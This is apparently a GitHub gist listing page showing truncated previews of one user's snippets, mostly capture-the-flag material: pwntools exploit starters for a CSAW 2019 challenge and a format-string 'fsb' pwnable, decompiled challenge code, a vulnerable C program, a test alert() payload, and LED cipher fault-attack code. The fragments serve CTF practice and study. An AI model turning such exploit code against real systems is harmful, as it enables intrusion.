Skip to content

Instantly share code, notes, and snippets.

View lionaneesh's full-sized avatar
🎯
Focusing

Aneesh Dogra lionaneesh

🎯
Focusing
234 followers · 57 following
View GitHub Profile
@lionaneesh
lionaneesh / solve_gotmilk.py
Created September 15, 2019 21:35
CSAW 2019 gotmilk solution
#!/usr/bin/env python2
from pwn import *
# nc pwn.chal.csaw.io 1005
win_offset = 0x00001189
lose_offset = 0x000011f8
context.terminal = [ '/usr/bin/gnome-terminal', '-e' ]
@lionaneesh
lionaneesh / main_mkfifov.c
Created September 8, 2019 18:21
Backdoor, Reverse, Affinity CTF 2019
undefined8 main(int argc,char **argv)
{
__uid_t __uid;
__uid_t _Var1;
__gid_t __gid;
int iVar2;
char *sh_color;
ulong uVar3;
@lionaneesh
lionaneesh / payload.js
Created August 7, 2019 09:08
test payload js
alert('hey');
@lionaneesh
lionaneesh / key_set_filtering_led.py
Created June 17, 2019 12:44
Key Set Filtering LED Cipher
keyspace = 0
for a in fault_values['a']:
for b in fault_values['b']:
for c in fault_values['c']:
for d in fault_values['d']:
k0_4_8_12 = sxis[('a', 0)][a].intersection(sxis[('d', 1)][d]).intersection(sxis[('c', 2)][c]).intersection(sxis[('b', 3)][b])
k1_5_9_13 = sxis[('a', 3)][a].intersection(sxis[('d', 0)][d]).intersection(sxis[('c', 1)][c]).intersection(sxis[('b', 2)][b])
k2_6_10_14 = sxis[('a', 2)][a].intersection(sxis[('d', 3)][d]).intersection(sxis[('c', 0)][c]).intersection(sxis[('b', 1)][b])
k3_7_11_15 = sxis[('a', 1)][a].intersection(sxis[('d', 2)][d]).intersection(sxis[('c', 3)][c]).intersection(sxis[('b', 0)][b])
@lionaneesh
lionaneesh / led_key_tuple_filtering.py
Last active June 17, 2019 12:41
Key Tuple Filtering LED Cipher
setGF2(4, 0b10011)
# define fault equations
faults_a = [[0, 4, 8, 12], [3, 7, 11, 15], [2, 6, 10, 14], [1, 5, 9, 13]]
faults_d = [[1, 5, 9, 13], [0, 4, 8, 12], [3, 7, 11, 15], [2, 6, 10, 14]]
faults_c = [[2, 6, 10, 14], [1, 5, 9, 13], [0, 4, 8, 12], [3, 7, 11, 15]]
faults_b = [[3, 7, 11, 15], [2, 6, 10, 14], [1, 5, 9, 13], [0, 4, 8, 12]]
coefs = {'a': [4, 8, 0xB, 2],
'b': [1, 6, 0xE, 2],
@lionaneesh
lionaneesh / led_rounds.c
Last active June 17, 2019 12:00
LED Round Main loop
AddKey(state, keyNibbles, 0);
for(i = 0; i < RN/4; i++){
int a;
for (j = 0; j < 4; j++) {
for (a = 0; a < 4; a++) {
@lionaneesh
lionaneesh / problem.c
Created May 15, 2019 09:23
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv){
FILE *fp = fopen("level10.pass", "r");
struct {char pass[20], msg_err[20];} pwfile = {{0}};
char ptr[0];
@lionaneesh
lionaneesh / exploit_fsb.py
Last active March 1, 2019 11:59
from pwn import *
p = process("/home/fsb/fsb", stdout=open('/dev/null', 'w+'))
key_addr = 0x0804a060
key_low = key_addr & 0xffff
key_high = (key_addr >> 16) & 0xffff
# Param 14 => 20
# Param 15 => 21
p.readuntil("strings(1)")
@lionaneesh
lionaneesh / fsb.c
Created March 1, 2019 11:02
fsb pwnable
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
unsigned long long key;
char buf[100];
char buf2[100];
int fsb(char** argv, char** envp){
char* args[]={"/bin/sh", 0};
@lionaneesh
lionaneesh / goaudit_logstash.conf
Created February 22, 2019 11:11
goaudit logstash pipeline
input {
tcp {
port => 15530
type => syslog
}
udp {
port => 15530
type => syslog
}
}